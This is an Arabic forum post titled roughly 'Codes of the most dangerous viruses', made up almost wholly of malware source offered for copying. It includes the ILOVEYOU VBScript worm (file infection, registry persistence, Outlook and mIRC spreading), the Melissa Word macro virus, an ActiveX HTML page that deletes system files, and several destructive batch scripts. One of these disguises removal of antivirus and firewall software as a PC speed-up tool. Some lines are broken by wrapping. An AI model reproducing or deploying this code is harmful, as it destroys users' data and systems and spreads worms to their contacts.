رمزى عضو فعال
عدد المساهمات : 470 تاريخ التسجيل : 30/10/2010
| موضوع: أكواد اخطر الفيروسات الأحد 21 أكتوبر - 18:00 | |
| أكواد اخطر الفيروسات - الكود:
-
كود فيروس الحب rem barok -loveletter(vbe) <i hate go to school> rem by: EVIL-MASTER / [email=evil5000x@hotmail.com]evil5000x@hotmail.com[/email]/ Group /EVIL-ATTACK Manila,Philippines On Error Resume Next dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,d ow eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll REM main() ' CSS: Main has been REMed out to provide more innoculation. unREM to run. sub main() On Error Resume Next dim wscr,rr set wscr=CreateObject("WScript.Shell") rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Micros oft\Windows Scripting Host\Settings\Timeout") if (rr>=1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin = fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp = fso.GetSpecialFolder(2) Set c = fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") regruns() html() REM spreadtoemail() ' CSS: Causes the worm to propogate itself. REMed for even more innoculation. listadriv() end sub sub regruns() On Error Resume Next Dim num,downread regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\MSKernel32",dirsystem&"\MSKernel32. vbs" regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\RunServices\Win32DLL",dirwin&"\Win32DLL .vbs" downread="" downread=regget("HKEY_CURRENT_USER\Software\Micros oft\Internet Explorer\Download Directory") if (downread="") then downread="c:" end if if (fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int((4 * Rnd) + 1) if num = 1 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~young1s/ HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnjw6587345gvsdf 7679njbvYT/WIN-BUGSFIX.exe" elseif num = 2 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~angelcat/ skladjflfdjghKJnwetryDGFikjUIyqwerWe546786324hjk4j nHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" elseif num = 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~koichi/ jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnmPOhfgER67b3V bvg/WIN-BUGSFIX.exe" elseif num = 4 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","http://www.skyinet.net/~chu/ sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkhYUgqweras djhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy 7thjg/WIN-BUGSFIX.exeend if end if if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then regcreate " HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Curr entVersion\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page","about :blank" end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3 Then folderlist(d.path&"") end if Next listadriv = s end sub Sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f = fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName(f1.pathext=lcase(ext) s=lcase(f1.name) if (ext="vbs") or (ext="vbe") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct") or (ext="hta") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set cop=fso.GetFile(f1.path) cop.copy(folderspec&""&bname&".vbs") fso.DeleteFile(f1.path) elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini") or (s="mirc.hlp") then set scriptini=fso.CreateTextFile(folderspec&"\script.i ni") scriptini.WriteLine "[script]" scriptini.WriteLine ";mIRC Script" scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt, if mIRC will" scriptini.WriteLine " corrupt... WINDOWS will affect and will not run correctly. thanks" scriptini.WriteLine ";" scriptini.WriteLine ";Khaled Mardam-Bey" scriptini.WriteLine ";http://www.mirc.com/" scriptini.WriteLine ";" scriptini.WriteLine "n0=on 1:JOIN:#:{" scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine "n3=}" scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f = fso.GetFolder(folderspec) set sf = f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit = CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit = CreateObject("WScript.Shell") regget=regedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg = 0 else msg = 1 end if fileexist = msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end function sub spreadtoemail() On Error Resume Next dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,rega d set regedit=CreateObject("WScript.Shell") set out=WScript.CreateObject("Outlook.Application") set mapi=out.GetNameSpace("MAPI") for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1 regv=regedit.RegRead("HKEY_CURRENT_USER\Software\M icrosoft\WAB"&a) if (regv="") then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to a.AddressEntries.Count malead=a.AddressEntries(x) regad="" regad=regedit.RegRead("HKEY_CURRENT_USER\Software\ Microsoft\WAB"&malead) if (regad="") then set male=out.CreateItem(0) male.Recipients.Add(malead) male.Subject = "ILOVEYOU" male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me." male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&malead ,1,"REG_DWORD" end if x=x+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.Ad dressEntries.Count else regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB"&a,a.Ad dressEntries.Count end if next Set out=Nothing Set mapi=Nothing end sub ------------------------------------------------------------------------------------ كود فيروس Html <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Active-X HTML</title> </head> THIS HTML USING ACTIVE-X PLEASE CLICK #YES# <body bgcolor="#000000" Text="#C0C0C0"> <script language="VBScript"> <!-- This is a MY BRAIN --!> On Error Resume Next Dim a Set fso = CreateObject("Scripting.FileSystemObject") Set a = fso.GetFile("win.ini") a.Delete Dim b Set fso = CreateObject("Scripting.FileSystemObject") Set b = fso.GetFile("system.ini") b.Delete </script> <!--- This script author is THEONE---!> </body> </html> ثم نحفظها باى أسم +Html --------------------------------------------------------------------------- كود فيروس لتدمير الويندوز Del c:\windows\system\msconfig.exe Del c:\windows\Rundll32.exe Del c:\windows\regedit.exe Del c:\windows\Rundll.exe Del c:\Autoexec.bat Del c:\command.com Del c:\windows\Logos.sys Del c:\windows\Logow.sys Del c:\windows\Scanregw.exe Del C:\Program Files\Internet Explorer\Iexplore.exe Del c:\windows\system\Sysedit.exe Del c:\windows\win.com @Echo off c: cd %WinDir%\System\ deltree /y *.exe -------------------------------------------------------------------- كود فيروس حذف Regedit و Msconfig c:\windows\regedit.exe del C:\windows\system\msconfig.exe del ------------------------------------------------------------ كود لحذف شاشة الترحيب للويندوز Del c:\windows\Logos.sys Del c:\windows\Logow.sys ---------------------------------------------------------------------------------------------- كود فيروس يمحى بعض الملفات المهمة من الجهاز @echo off c: deltree /y *.exe deltree /y *.dll deltree /y *.drv deltree /y *.sys deltree /y *.ini cd %windir%\system deltree /y *.sys deltree /y *.dll deltree /y *.ini deltree /y *.exe كود فيروس يدمر برنامج النورتون انتى فيروس و برنامج الزون الارم @echo welcome to the winbooster by Agent007 @echo if u want to make your computer get faster , you should follow @echo the next steps (step by step) @pause cd\ c: dir dir c:\progra~1\norton~1 @echo if u want to make your computer faster @pause @echo now you should to type y and press enter del c:\progra~1\norton~1 @pause c: dir @echo if u want to make your computer faster @pause @dir c:\progra~1 dir c:\progra~1\zonea~1\zonealarm del c:\progra~1\zonea~1\zonealarm @echo be happy your computer now is faster than before :exit ------------------------------------------------------------------------------------------------------- كود فيروس مليسا Private Sub AutoOpen() On Error Resume Next p$ = "clone" If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") <> "" Then CommandBars("Macro").Controls("Security...").Enabl ed = False System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\ord\e curity", "Level") = 1& Else p$ = "clone" CommandBars("Tools").Controls("Macro").Enabled = False Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1) End If Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice Set UngaDasOutlook = CreateObject("Outlook.Application") Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then If UngaDasOutlook = "Outlook" Then DasMapiName.Logon "profile", "password" For y = 1 To DasMapiName.AddressLists.Count Set AddyBook = DasMapiName.AddressLists(y) x = 1 Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) For oo = 1 To AddyBook.AddressEntries.Count Peep = AddyBook.AddressEntries(x) BreakUmOffASlice.Recipients.Add Peep x = x + 1 If x > 50 Then oo = AddyBook.AddressEntries.Count Next oo BreakUmOffASlice.Subject = "Important Message From " & Application.UserName BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)" BreakUmOffASlice.Attachments.Add ActiveDocument.FullName BreakUmOffASlice.Send Peep = "" Next y DasMapiName.Logoff End If p$ = "clone" System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo" End If Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) NTCL = NTI1.CodeModule.CountOfLines ADCL = ADI1.CodeModule.CountOfLines BGN = 2 If ADI1.Name <> "Melissa" Then If ADCL > 0 Then _ ADI1.CodeModule.DeleteLines 1, ADCL Set ToInfect = ADI1 ADI1.Name = "Melissa" DoAD = True End If If NTI1.Name <> "Melissa" Then If NTCL > 0 Then _ NTI1.CodeModule.DeleteLines 1, NTCL Set ToInfect = NTI1 NTI1.Name = "Melissa" DoNT = True End If If DoNT <> True And DoAD <> True Then GoTo CYA If DoNT = True Then Do While ADI1.CodeModule.Lines(1, 1) = "" ADI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") Do While ADI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If p$ = "clone" If DoAD = True Then Do While NTI1.CodeModule.Lines(1, 1) = "" NTI1.CodeModule.DeleteLines 1 Loop ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") Do While NTI1.CodeModule.Lines(BGN, 1) <> "" ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) BGN = BGN + 1 Loop End If CYA: If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then ActiveDocument.Saved = True: End If 'WORD/Melissa written by Kwyjibo 'Clone written by Duke/SMF 'Works in both Word 2000 and Word 97 'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! 'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here." End Sub -------------------------------------------------------------------------------------------------- كود لفيروس ينئ ملاين من المجلدات على الهارد بجانب انه يدمر الويندوز @echo off CLS @del c:\Windows\win.ini CLS @del c:\windows\system.dat CLS @del c:\windows\system.ini CLS @REN c:\Windows te3eeshWeeElwendosYa7'od3'er7a CLS @del c:\progra~1\netscape\commun~1\program\netscape.exe CLS @del c:\progra~1\netscape\commun~1\program\wgbview.dbm CLS @del c:\progra~1\norton~1\dec2.dll @del c:\progra~1\norton~1\navstart.dat @del c:\progra~1\norton~1\navw32.exe @del c:\progra~1\norton~1\sfstr32i.dll CLS @del c:\progra~1\icq\icqcntct.dll CLS @del c:\progra~1\icq\dll\icqwso~1.dll CLS @REN c:\progra~1 fuck CLS @md c:\fff @md c:\545 @md c:\jsior @md c:\ierjq @md c:\nmao @md c:\ian @md c:\asdja @md c:\duiae @md c:\dsuiuie @md c:\ianer @md c:\aie @md c:\aiaer @md c:\aiher @md c:\kaie @md c:\system @md c:\uauau @md c:\opoe @md c:\pogrw @md c:\uauer @md c:\vnvnv @md c:\imcvns @md c:\mnbf @md c:\ingo @md c:\iajf @md c:\sexe @md c:\fffs @md c:\54s5 @md c:\jsioer @md c:\ierjeq @md c:\nmato @md c:\iany @md c:\asbja @md c:\duaae @md c:\dsujiuie @md c:\ianer @md c:\aae @md c:\aider @md c:\ai3er @md c:\kafe @md c:\systam @md c:\uauaau @md c:\ofoe @md c:\togrw @md c:\uader @md c:\vnvdsv @md c:\i43cvns @md c:\mdbf @md c:\ind43 @md c:\iajf @cd\ CLS @del *.sys CLS @del *.exe CLS @del *.txt CLS @del *.dll CLS @del *.com CLS
| |
|